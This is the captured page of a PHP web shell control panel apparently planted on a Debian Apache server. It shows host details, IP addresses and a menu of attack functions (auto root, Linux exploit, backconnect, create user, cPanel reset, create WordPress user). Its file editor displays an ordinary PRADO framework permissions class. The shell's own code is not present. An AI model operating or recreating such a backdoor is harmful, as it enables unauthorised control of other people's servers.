Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 52.14.75.147
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Security /
Permissions /
[ HOME SHELL ]
Name
Size
Permission
Action
IPermissions.php
1.2
KB
-rw-r--r--
TPermissionEvent.php
3.9
KB
-rw-r--r--
TPermissionsAction.php
12.11
KB
-rw-r--r--
TPermissionsBehavior.php
5.51
KB
-rw-r--r--
TPermissionsConfigurationBehav...
3.73
KB
-rw-r--r--
TPermissionsManager.php
34.08
KB
-rw-r--r--
TUserOwnerRule.php
1.18
KB
-rw-r--r--
TUserPermissionsBehavior.php
2.91
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TPermissionsConfigurationBehavior.php
<?php /** * TPermissionsConfigurationBehavior class file. * * @author Brad Anderson <belisoful@icloud.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Security\Permissions; use Prado\Util\TBehavior; /** * TPermissionsConfigurationBehavior class. * * TPermissionsConfigurationBehavior is designed specifically to attach to the * {@link TPageConfiguration} class objects. It reads and parses the * permissions role hierarchy and permissions rules from a page configuration * file. Within the config.xml for a page, for example, add the following: * <code> * <permissions> * <role name="pageRole" children="otherRole, permission_name" /> * <permissionrule name="permission_name" action="allow" roles="manager"/> * </permissions> * </code> * * See <@link TPermissionsManager> for information on php configurations. * * @author Brad Anderson <belisoful@icloud.com> * @since 4.2.0 */ class TPermissionsConfigurationBehavior extends TBehavior { /** @var \Prado\Security\Permissions\TPermissionsManager manager object for the behavior */ private $_manager; /** @var array|\Prado\Xml\TXmlElement permissions data to parse */ private $_permissions = []; /** * @param null|\Prado\Security\Permissions\TPermissionsManager $manager */ public function __construct($manager = null) { if ($manager) { $this->setManager($manager); } parent::__construct(); } /** * Loads the configuration specific for page service. This may be called multiple * times. * @param array $config config array * @param string $configPath base path corresponding to this php element * @param string $configPagePath the page path that the config php is associated with. The page path doesn't include the page name. * @param \Prado\Util\TCallChain $callchain */ public function dyLoadPageConfigurationFromPhp($config, $configPath, $configPagePath, $callchain) { // authorization if (isset($config['permissions']) && is_array($config['permissions'])) { $this->_permissions[] = $config['permissions']; } return $callchain->dyLoadPageConfigurationFromPhp($config, $configPath, $configPagePath); } /** * Loads the configuration specific for page service. This may be called multiple * times. * @param \Prado\Xml\TXmlElement $dom config xml element * @param string $configPath base path corresponding to this xml element * @param string $configPagePath the page path that the config XML is associated with. The page path doesn't include the page name. * @param \Prado\Util\TCallChain $callchain */ public function dyLoadPageConfigurationFromXml($dom, $configPath, $configPagePath, $callchain) { // authorization if (($permissionsNode = $dom->getElementByTagName('permissions')) !== null) { $this->_permissions[] = $permissionsNode; } return $callchain->dyLoadPageConfigurationFromXml($dom, $configPath, $configPagePath); } /** * Applies the permissions hierarchy and permission rules * @param \Prado\Util\TCallChain $callchain */ public function dyApplyConfiguration($callchain) { $manager = $this->getManager(); foreach ($this->_permissions as $permission) { $manager->loadPermissionsData($permission); } return $callchain->dyApplyConfiguration(); } /** * @return \Prado\Security\Permissions\TPermissionsManager manages application permissions */ public function getManager() { return $this->_manager; } /** * @param \Prado\Security\Permissions\TPermissionsManager|\WeakReference $manager manages application permissions */ public function setManager($manager) { if (class_exists('\WeakReference', false) && $manager instanceof \WeakReference) { $manager = $manager->get(); } $this->_manager = $manager; } }
Close